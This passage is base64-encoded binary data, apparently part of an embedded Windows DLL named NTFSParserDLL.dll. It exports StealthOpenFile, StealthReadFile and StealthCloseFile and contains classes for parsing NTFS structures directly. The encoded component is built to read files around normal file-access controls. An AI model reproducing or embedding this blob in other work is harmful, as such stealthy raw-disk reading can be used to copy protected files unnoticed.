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JpbmdUeXBlVwAAgARTZXRMYXN0RXJyb3IAABgEUnRsQ2FwdHVyZUNvbnRleHQAJgRSdGxWaXJ0dWFsVW53aW5kAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AMYBR2V0Q3VycmVudFByb2Nlc3MAzgRUZXJtaW5hdGVQcm9jZXNzAADTBFRsc0FsbG9jAADVBFRsc0dldFZhbHVlANYEVGxzU2V0VmFsdWUA1ARUbHNGcmVlAGoCR2V0U3RhcnR1cEluZm9XAB4CR2V0TW9kdWxlSGFuZGxlVwAAUQJHZXRQcm9jZXNzSGVhcAAA+gFHZXRGaWxlVHlwZQDSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgAZAkdldE1vZHVsZUZpbGVOYW1lQQAAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgDHAUdldEN1cnJlbnRQcm9jZXNzSWQAgAJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQDhAUdldEVudmlyb25tZW50U3RyaW5nc1cAAGcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAQANMb2FkTGlicmFyeUV4VwAA2gJIZWFwUmVBbGxvYwCMA091dHB1dERlYnVnU3RyaW5nVwAAQQNMb2FkTGlicmFyeVcAAC8DTENNYXBTdHJpbmdXAACgAUdldENvbnNvbGVDUAAAsgFHZXRDb25zb2xlTW9kZQAAdQRTZXRGaWxlUG9pbnRlckV4AACUBFNldFN0ZEhhbmRsZQAAMwVXcml0ZUNvbnNvbGVXAF0BRmx1c2hGaWxlQnVmZmVycwAAjwBDcmVhdGVGaWxlVwAAAAAAgY0mUgAAAAC2uQEAAQAAAAMAAAADAAAAmLkBAKS5AQCwuQEAwEUAAMA/AADwRAAAyLkBANm5AQDpuQEAAAABAAIATlRGU1BhcnNlckRMTC5kbGwAU3RlYWx0aENsb3NlRmlsZQBTdGVhbHRoT3BlbkZpbGUAU3RlYWx0aFJlYWRGaWxlAAAAAAAAAABIJwGAAQ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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC48wCAAQAAALjzAIABAAAAuPMAgAEAAAC48wCAAQAAALjzAIABAAAAuPMAgAEAAAC48wCAAQAAALjzAIABAAAAuPMAgAEAAAC48wCAAQAAAC4AAAAuAAAAMM8BgAEAAAAgzwGAAQAAAKzrAYABAAAArOsBgAEAAACs6wGAAQAAAKzrAYABAAAArOsBgAEAAACs6wGAAQAAAKzrAYABAAAArOsBgAEAAACs6wGAAQAAAH9/f39/f39/JM8BgAEAAACw6wGAAQAAALDrAYABAAAAsOsBgAEAAACw6wGAAQAAALDrAYABAAAAsOsBgAEAAACw6wGAAQAAAMB6AYABAAAAwnwBgAEAAAAAAAAAAAAAAADsAYABAAAAAAAAAAAAAAAA7AGAAQAAAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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0BANhjAACJZAAARJ0BAKBkAAAdZQAAWJ0BADxlAACbZgAAXJ0BAJxmAADZZgAAtKcBANxmAAD8ZwAAfJ0BABBoAAC4aAAAqJ0BALhoAACXaQAArJ0BAJhpAABhagAANJ4BAGRqAACQawAAGJ4BAJBrAAAkbAAAuJ0BACRsAADFbAAAXJ4BAMhsAAAZbQAA8J0BABxtAABfbQAAnJwBAGBtAAC+bQAAQJwBAMBtAADVbQAAZJwBANhtAADtbQAAZJwBAPBtAAAibgAAnJwBACRuAAA/bgAAnJwBAEBuAABbbgAAnJwBAFxuAADRbwAAzJ0BANRvAABbcAAATJ4BAFxwAACJcAAAnJwBAKhwAADScAAAnJwBAORwAAAocQAAQJwBAChxAABhcQAAQJwBAGRxAAC+cQAAcJ4BAMBxAADncQAAnJwBAPxxAAACcwAAgJ4BAARzAABFcwAAnJwBAEhzAABecwAAnJwBAGBzAACmdAAAQJwBAKh0AADOdAAAnJwBAOB0AACPdQAAQJwBAJx1AADndQAAnJwBAOh1AAAbdgAAiJ4BABx2AABVdgAAQJwBAHB2AAAFeAAAlJ4BAAh4AABBeAAAZJwBAER4AADEeAAACKMBAMR4AAA/eQAACKMBAEB5AADCeQAACKMBAMR5AACiewAAxJ4BAKR7AADnewAAZJwBABh8AACHfgAA4J4BAKR+AAD5fgAAZJwBAAR/AABBfwAA8J8BAGB/AADHfwAACJ8BAMh/AAA0gAAADJ8BADSAAADqgAAAtKcBAOyAAAAfgQAAnJwBALSBAABKgwAAwJ8BAPCDAABlhAAALJ8BAGiEAADKhAAAQJwBAMyEAAD0hAAAZJwBAPSEAABxhQAAPJ0BAHSFAAAChgAAwJ8BAASGAADlhwAA1J8BAOiHAACiiAAATJ8BAKSIAAAAiwAAcJ8BAACLAACujQAAoJ8BALCNAAAWjgAA8J8BABiOAABhjgAA+J8BAGSOAACXjwAACKABAJiPAADUjwAAnJwBANSPAAD4jwAAnJwBAPiPAAB6kAAAQJwBAHyQAAA+kQAAPKABAECRAAC/kQAAnJwBAMCRAADkkQAAZJwBAOyRAABZkgAAcKABAFySAADNkgAAfKABAECTAACMkwAAnJwBAIyTAAAOlwAAnJwBABCXAAAvlwAAnJwBADCXAABQlwAAnJwBAFCXAABwlwAAqKABAHCXAACPlwAAiKABAJCXAACtlwAAZJwBALCX